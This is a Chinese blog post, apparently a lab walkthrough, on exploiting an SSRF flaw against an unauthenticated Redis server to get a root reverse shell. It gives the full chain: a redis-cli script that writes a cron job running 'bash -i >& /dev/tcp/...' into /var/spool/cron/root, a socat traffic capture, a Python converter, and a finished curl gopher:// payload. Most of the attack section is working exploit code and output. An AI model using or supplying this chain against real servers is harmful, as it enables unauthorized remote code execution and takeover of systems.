zoukankan      html  css  js  c++  java
  • SSRF漏洞利用之Redis大神赐予shell

     
     

    0x00实验环境

    1、centos靶机(IP为:192.168.11.205,桥接模式)

    2、kali黑客攻击主机(IP为:192.168.172.129,NAT模式)

    0x01实验原理

     这段payload的作用我们先说明一下,其作用是在靶机的/var/spool/cron临时目录下,利用ssrf漏洞写入黑客的redis数据库的操作,这样,黑客可以通过自己写入的redis数据库直接运行后获取靶机的shell

    0x02实验步骤

    (1)在centos靶机内部部署:

     注意:这里面的192.168.172.129/7999是我们kali的主机IP

    echo -e " */2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1 "|/root/redis-2.8.3/src/redis-cli -h $1 -p $2 -x set 1
    /root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
    /root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dbfilename root
    /root/redis-2.8.3/src/redis-cli -h $1 -p $2 save
    /root/redis-2.8.3/src/redis-cli -h $1 -p $2 quit

    其中

    $1表示含有redis漏洞的主机IP(centos)

    $2表示redis的开启的端口或者被转发之后的端口

    将上述代码保存为bash.sh(注意修改redis的路径及IP

     

    (2)使用socat进行端口转发(注:如果没有安装socat的,请使用如下的命令行进行安装)

    yum install socat

     

    (3)使用socat进行redis的端口转发,这里需要保证你的centos的redis端口是开启的

     (4)将产生的命令行复制出来,并使用python脚本进行过滤各种尖括号等的操作,这是为了让机器更好的识别,并保存为log.txt

    过滤方法

    • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。

    • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

    • 字符串替换成%0d%0a

    • 空白行替换为%0a

    2019/05/17 12:05:20.576789 length=89 from=0 to=88
    *3
    $3
    set
    $1
    1
    $62
    
    
    */2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1
    
    
    
    < 2019/05/17 12:05:20.577165 length=5 from=0 to=4
    +OK
    > 2019/05/17 12:05:20.581392 length=57 from=0 to=56
    *4
    $6
    config
    $3
    set
    $3
    dir
    $16
    /var/spool/cron/
    < 2019/05/17 12:05:20.581966 length=5 from=0 to=4
    +OK
    > 2019/05/17 12:05:20.587385 length=52 from=0 to=51
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $4
    root
    < 2019/05/17 12:05:20.587804 length=5 from=0 to=4
    +OK
    > 2019/05/17 12:05:20.591422 length=14 from=0 to=13
    *1
    $4
    save
    < 2019/05/17 12:05:20.593302 length=5 from=0 to=4
    +OK
    > 2019/05/17 12:05:20.597224 length=14 from=0 to=13
    *1
    $4
    quit
    < 2019/05/17 12:05:20.597551 length=5 from=0 to=4
    +OK
    

    python脚本为(建议使用python2的环境):

    #coding: utf-8
    import sys
    
    exp = ''
    
    with open(sys.argv[1]) as f:
        for line in f.readlines():
            if line[0] in '><+':
                continue
            # 判断倒数第2、3字符串是否为
            elif line[-3:-1] == r'
    ':
                # 如果该行只有
    ,将
    替换成%0a%0d%0a
                if len(line) == 3:
                    exp = exp + '%0a%0d%0a'
                else:
                    line = line.replace(r'
    ', '%0d%0a')
                    # 去掉最后的换行符
                    line = line.replace('
    ', '')
                    exp = exp + line
            # 判断是否是空行,空行替换为%0a
            elif line == 'x0a':
                exp = exp + '%0a'
            else:
                line = line.replace('
    ', '')
                exp = exp + line
    print exp

     

    得到如下结果:

    88*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

     (5)使用CURL构造完整的请求

    curl -v 'gopher://192.168.11.205:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

     待续。。。。。

  • 相关阅读:
    使用paramiko的问题记录
    python常见异常及解决方法
    linux ps -aux各列含义
    常用技能
    超时程序管理
    跨年的总结和展望
    java json和对象互转
    一些常用功能总结
    ResultSet转成java类对象
    python常用功能总结
  • 原文地址:https://www.cnblogs.com/cute-puli/p/10881229.html
Copyright © 2011-2022 走看看